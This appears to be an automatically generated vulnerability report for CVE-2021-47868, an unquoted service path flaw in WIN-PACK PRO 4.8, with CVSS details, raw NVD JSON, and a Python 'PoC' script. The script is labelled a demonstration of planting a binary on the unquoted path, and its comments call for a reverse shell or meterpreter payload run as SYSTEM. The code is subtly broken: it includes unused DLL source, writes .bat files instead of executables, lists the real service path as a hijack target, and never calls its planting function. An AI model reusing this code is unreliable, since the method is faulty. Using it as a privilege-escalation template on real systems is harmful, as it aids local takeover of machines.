Security Vulnerability Report
中文
CVE-2021-47868 CVSS 7.8 HIGH

CVE-2021-47868

Published: 2026-01-21 18:16:19
Last Modified: 2026-04-15 00:35:42

Description

WIN-PACK PRO 4.8 contains an unquoted service path vulnerability in the WPCommandFileService that allows local users to potentially execute code with elevated privileges. Attackers can exploit the unquoted path in C:\Program Files <x86>\WINPAKPRO\WPCommandFileService Service.exe to inject malicious code that would execute with LocalSystem permissions.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WIN-PACK PRO 4.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2021-47868 PoC - WIN-PACK PRO Unquoted Service Path # Target: C:\Program Files <x86>\WINPAKPRO\WPCommandFileService Service.exe # This PoC demonstrates creating a malicious executable in the unquoted path import os import sys import ctypes import shutil def create_malicious_exe(target_path, payload_name="WPCommandFileService.exe"): """ Create a malicious executable in the unquoted service path. This will be executed before the legitimate service binary. """ # Paths that Windows will try to execute before the real service # Based on: C:\Program Files <x86>\WINPAKPRO\WPCommandFileService Service.exe paths_to_check = [ r"C:\Program Files <x86>\WINPAKPRO\WPCommandFileService.exe", r"C:\Program Files <x86>\WINPAKPRO\WPCommandFileService Service.exe" ] for path in paths_to_check: if not os.path.exists(path): print(f"[*] Creating malicious binary at: {path}") try: # In real attack, this would be a reverse shell or meterpreter malicious_code = f''' #include <windows.h> #include <stdio.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {{ if (fdwReason == DLL_PROCESS_ATTACH) {{ // Add malicious code here (reverse shell, persistence, etc.) MessageBox(NULL, "Vulnerability Exploited!\nCVE-2021-47868", "WIN-PACK PRO Exploit", MB_OK); }} return TRUE; }} ''' # For demonstration, create a simple batch script wrapper with open(path.replace('.exe', '.bat'), 'w') as f: f.write(f'@echo off\n') f.write(f'echo [!] Malicious code executed with SYSTEM privileges!\n') f.write(f'echo [!] Target: {target_path}\n') f.write(f'echo [!] CVE-2021-47868\n') f.write(f'pause\n') print(f"[+] Malicious file created at: {path}") return path except Exception as e: print(f"[-] Failed to create file: {e}") return None def check_vulnerability(): """Check if the system is vulnerable to CVE-2021-47868""" service_path = r"C:\Program Files <x86>\WINPAKPRO\WPCommandFileService Service.exe" print("="*60) print("CVE-2021-47868 - WIN-PACK PRO Unquoted Service Path Check") print("="*60) # Check if service exists if os.path.exists(service_path): print(f"[+] Service binary found: {service_path}") print("[!] System may be vulnerable to unquoted service path attack") return True else: print(f"[-] Service binary not found: {service_path}") print("[*] System may not be affected by this vulnerability") return False if __name__ == "__main__": check_vulnerability() # Note: Actual exploitation requires admin privileges to write to Program Files

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-47868", "sourceIdentifier": "[email protected]", "published": "2026-01-21T18:16:19.023", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "WIN-PACK PRO 4.8 contains an unquoted service path vulnerability in the WPCommandFileService that allows local users to potentially execute code with elevated privileges. Attackers can exploit the unquoted path in C:\\Program Files <x86>\\WINPAKPRO\\WPCommandFileService Service.exe to inject malicious code that would execute with LocalSystem permissions."}, {"lang": "es", "value": "WIN-PACK PRO 4.8 contiene una vulnerabilidad de ruta de servicio sin comillas en el WPCommandFileService que permite a usuarios locales ejecutar código potencialmente con privilegios elevados. Los atacantes pueden explotar la ruta sin comillas en C:\\Program Files \\WINPAKPRO\\WPCommandFileService Service.exe para inyectar código malicioso que se ejecutaría con permisos de LocalSystem."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-428"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/49692", "source": "[email protected]"}, {"url": "https://www.security.honeywell.com/product-repository/winpak", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/win-pack-pro-wpcommandfileservice-unquoted-service-path", "source": "[email protected]"}]}}